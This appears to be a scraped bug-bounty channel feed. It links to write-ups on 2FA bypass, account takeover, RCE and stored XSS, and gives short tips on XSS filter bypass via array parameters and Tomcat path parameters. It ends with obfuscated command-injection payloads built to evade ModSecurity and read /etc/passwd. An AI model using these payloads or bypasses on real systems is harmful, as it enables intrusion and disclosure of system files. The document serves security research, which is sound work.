[ Writeup — Bugbounty Facebook ] Disclosure the verified phone number in Checkpoint.
https://medium.com/@tiendat253/writeup-bugbounty-facebook-disclosure-the-verified-phone-number-in-checkpoint-aa652faeaf21
https://medium.com/@tiendat253/writeup-bugbounty-facebook-disclosure-the-verified-phone-number-in-checkpoint-aa652faeaf21
HOW I BYPASSED 2 FACTOR AUTHENTICATION
https://medium.com/@manralhemant10/how-i-bypassed-2-factor-authentication-899750421331
https://medium.com/@manralhemant10/how-i-bypassed-2-factor-authentication-899750421331
Medium
HOW I BYPASSED 2 FACTOR AUTHENTICATION
INTRODUCTION:
“Recon Everything” by SACHIN GROVER https://link.medium.com/ReykAnzk23
Medium
Recon Everything
Bug Bounty Hunting Tip #1- Always read the Source Code
ExploitHub pinned «“Recon Everything” by SACHIN GROVER https://link.medium.com/ReykAnzk23»
Tale of Account Takeovers (Part-1)
https://medium.com/@bathinivijaysimhareddy/tale-of-account-takeovers-part-1-b24e1f3c3187
https://medium.com/@bathinivijaysimhareddy/tale-of-account-takeovers-part-1-b24e1f3c3187
Medium
Tale of Account Takeovers (Part-1)
Hello guys, I’m here with a new blog post on account takeover vulnerabilities which have been reported by me. I’ve started bug bounty in…
FinDir is Directory brutefocer which can be used to run 24/7 againts target and will provide you the notification on Telegram once it finds any open directory
https://github.com/m4xx101/FinDir
https://github.com/m4xx101/FinDir
GitHub
GitHub - m4xx101/FinDir
Contribute to m4xx101/FinDir development by creating an account on GitHub.
From Recon to Optimizing RCE Results - Simple Story with One of the Biggest ICT Company in the World
https://medium.com/@YoKoKho/from-recon-to-optimizing-rce-results-simple-story-with-one-of-the-biggest-ict-company-in-the-ea710bca487a
https://medium.com/@YoKoKho/from-recon-to-optimizing-rce-results-simple-story-with-one-of-the-biggest-ict-company-in-the-ea710bca487a
Medium
From Recon to Optimizing RCE Results - Simple Story with One of the Biggest ICT Company in the World
How I Finally could Got into an Internal Network (and could accessing all of their internal assets) by Using Various Vulnerabilities.
Google ADS Stored Xss & Html Injections 5000$
https://www.youtube.com/watch?v=O5BWtwykJJg
https://www.youtube.com/watch?v=O5BWtwykJJg
Alway convert parameter to array you will get unexpected result, some times xss bypass
Like,
path=/abc to path["]=/abc
#bugbountytip
Like,
path=/abc to path["]=/abc
#bugbountytip
Use path parameters if server is Apache Tomcat & running jsp pages . Like
http://site.com/test.jsp;test=<payload>
, This pages can sometimes give xss.
#bugbounty
http://site.com/test.jsp;test=<payload>
, This pages can sometimes give xss.
#bugbounty
#WAF #ModSecurity #RCE #Payloads Detection #Bypass
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?